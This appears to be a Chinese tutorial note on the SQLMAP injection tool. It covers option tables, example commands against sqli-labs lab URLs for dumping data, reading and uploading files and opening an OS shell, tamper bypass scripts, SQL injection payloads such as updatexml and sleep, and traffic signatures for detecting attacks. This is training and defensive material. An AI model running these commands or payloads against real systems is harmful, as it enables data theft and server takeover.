SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和注入过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。以及从数据库指纹识别、从数据库获取数据、 通过带外连接在操作系统上执行命令。
自动化SQL注入检测工具
它可以读取数据库内容
获取数据库权限、系统权限
SQLMAP支持检测MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite等数据库得各种安全漏洞。
采用五种SQL注入技术分别是:布尔盲注、时间盲注、报错注入、联合查询、堆叠注入。
工具官网:http://sqlmap.org
SQLMAP使用
python3 sqlmap.py -h #查看帮助信息
target目标选项
漏洞检测
-d 指定直接数据库连接的连接字符串,直接连接到数据库。
-u 指定URL目标
-l 从Burp或webscarab代理的日志中解析目标
-m 扫描文本文件给出的多个目标,批量扫描
-r 从文本中加载HTTP请求。*标注注入位置
-g 将Google Dork的结果作为目标URLh
-p 指定注入点
techniques方法
参数 |
描述 |
-a |
获取所有信息 |
-current-user |
获取DBMS当前用户 |
--current-db |
获取DBMS当前数据库 |
--hostname |
获取DBMS当前主机名 |
--is-dba |
检测当前用户是否为管理员用户 |
--users |
枚举DBMS用户 |
--passwords |
枚举DBMS用户密码 哈希hash |
--dbs |
枚举DBMS数据库 |
--tables |
枚举DBMS数据库中的表 |
--columns |
枚举DBMS数据库表的列名 |
--dump |
转储DBMS数据库表 |
--dump-all |
转储DBMS所有数据库表 |
-D db_name |
指定要求枚举的DBMS数据库名 |
-T table_name |
指定要枚举的DBMS表 |
-C columns_name |
指定要枚举的DBMS列 |
--batch |
从不询问用户输入,使用所有默认配置 |
request请求选项
参数 |
描述 |
--data=DATA |
通过POST方式发送数据字符串 |
--cookle=COOKLE |
HTTP Cookle头 |
--user-agent=AGENT |
指定HTTP User-Agent头 |
--random-agent |
使用随机选定的HTTP User-Agent头 |
--host=HOST |
指定HTTP HOST |
--referer=REFERER |
指定HTTP Referer header |
--ignore-proxy |
忽略系统默认代理配置 |
--proxy=PROXY |
使用代理连接目标URL |
--delay=DELAY |
可以设定两个请求间的延迟 |
--timeout=TIMEOUT |
可以设定一个请求超过多久判定为超时 |
--force-ssl |
强制使用SSL/HTTPS |
--threads=THREADS |
HTTP(s)最大并发请求数(默认是1) |
--dbms=DBMS |
强制指定后端DBMS |
--os=OS |
强制指定后端的DBMS操作系统 |
--tamper |
使用指定的脚本修改注入数据 |
detection探测选择
这些选项可用于自定义阶段检测
选项 |
描述 |
--level=LEVEL |
测试等级(1-5,default 1) |
--risk=RISK |
测试的风险等级(1-3,default 1) |
--technlque |
来指定要使用那种注入模式,快速扫描 |
共有五个等级,默认为1,sqlmap使用的payload可以在 data/xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。
漏洞探测等级
○ --level 1 默认的等级,会进行基本的测试,包括GET和POST方式
○ --level 2 在原有的基础上增加对cookie的检测
○ --level 3 增加对USER AGENT/REFERER的检测
○ --level 4 更多的payload
○ --level 5 最高等级,包含所有的payload,会尝试自动破解出cookie、xff等头部注入(速度最慢)
指定注入技术
基于布尔的盲注(B):即可以根据返回页面判断条件的真假注入
基于时间的盲注(T):既不能根据页面返回内容判断任何任何信息,用条件语句查看时间延迟语句是否执行(即页面返 回时间是否增加)来判断
基于报错注入(E):即页面返回错误信息,或者把注入的语句的结果直接返回页面中
联合查询注入(U):可以使用union的情况下的注入
堆查询注入(S):可以同时执行多条语句的注
访问文件系统
使用条件
1. 知道网站的绝对路径
2. 高权限数据库用户
3. secure_file_priv=''无限制
--file-read=D:/1.txt 从后端的数据库管理系统文件系统读取文件
--file-write=WRITE 编辑后端的数据库管理系统的文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
权限操作-文件&命令&交互式
--os-shell原理
mysql:sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval()。利用这两个函数可以执行系统命令
MSSQL:sqlmap将会使用xp_cmdshell存储过程,如果被禁用了,sqlmap会尝试重新启用它,如果不存在,会尝试自动创建。
使用条件*
1. 知道网站的绝对路径 (敏感信息泄露,源码泄露,程序报错,猜解)
2. 高权限数据库用户(mysql:root | mssql:sa)
3. secure_file_priv限制
分析拓展-代理&调试&指纹
1.后期分析调试
-v
RBOSE信息级别: 0-6 (缺省1)
其值具体含义:
0只显示python错误以及严重的信息;
1同时显示基本信息和警告信息(默认);
2同时显示debug信息;
3同时显示注入的payload;
4同时显示HTTP请求;
5同时显示HTTP响应头;
6同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
-proxy
设置代理
-proxy="http://127.0.0.1:8080"
2.打乱默认指纹
--user-agent
自定义User-Agent
python3 sqlmap.py -u "http://www.baidu.com" --user-agent "UA"
--random-agent
随机User-Agent
python3 sqlmap.py -u "http://www.baidu.com" --radmon-agent
SQLMAP常见使用
判断是否存在注入
python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1"
判断当前用户是否为dbs
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --is-dba
查看数据库用户
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --current-user
判断当前数据库
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --current-db
查看所有数据库
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --dbs
枚举当前数据库的表
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" -D 数据库名 -- tables
枚举表中的字段名
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表 名 --columns
枚举字段下数据
Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表 名 --dump
post注入
Python3 sqlmap.py -r 1.txt *标记注入点
PS:以下操作需要获取到Web网站绝对路径
读取Linux下的文件
sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"
上传文件到服务器
python3 sqlmap.py -u "192.168.174.1/BC/sqli-labs-master/Less-2/?id=1" --file-write C:\1.php --file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"
#将本地的C:\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php
执行shell命令
Python3 sqlmap.py -u url --os-cmd='whoami'
Python3 sqlmap.py -u url --os-shell
tamper绕过
使用方法:sqlmap -u [url] --tamper [模块名]
space2comment.py 用/**/代替空格
apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
charencode.py url编码
SQL注入流量特征
1.参数长度异常:攻击者通常会在参数后来尝试构建恶意语句,因此流量特征中需要寻找异常长度 的参 数。
2.特殊字符:攻击者通常使用非法字符来构建恶意SQL语句,如:单引号、分号、注释符
3.异常请求:攻击者肯能会在HTTP请求中包含多个语句或查询、包含错误或缺失的参数。
4.错误响应:如果应用程序未正确处理SQL注入语句,则可能会返回错误响应。
5.非常规流量:攻击者可能会在短时间发送大量请求且请求中包含恶意的SQL语句字符等
http://127.0.0.1/CMS/lmxcms1.4/admin.php?m=Book&a=reply&id=1
127.0.0.1/CMS/lmxcms1.4/admin.php?m=Book&a=reply&id=1 if(sleep(5))
- 出现特殊字符
单双引号('")、注释符(--+ # /**/)、括号等(\ %df)
- 出现SQL语句
增加、删除、修改、查询语句或各语句之间的拼接。
union select updatexml(1,concat(0x7e,(select username) from users,0x7e),1) -- substr() ascii() frool
- 出现SQL函数 database()、updatexml()、extractvalue()、group_concat()、concat()、limit()、 if()、load_file()、sleep()、substr()、length()、exp()、order by()
- 出现各种编码
(url编码,base64编码等)可利用Burp或 者在线解/编码器进行操作查看是否有特殊字段。
SQLMAP流量特征
通过proxy参数让sqlmap把流量转发给burp来代理
静态特征
1.特征一:UA头
发送数据包时会默认使用sqlmap的ua头 (User-Agent: sqlmap/1.5.6.3#dev )
2.特征二:关键字
对数据库类型、XSS漏洞进行监测,而这句话几乎每次注入都是不变的,所以可以将这句话作为sqlmap的攻击特征之一
动态特征
--os-shell
- @@version_compile_os特征
- 尝试访问上传的脚本文件 (tmpuwxuv.php tmpuhalq.php)
- 测试命令执行语句特征 调用sys_eval() sys_exec() 尝试执行代码和系统命令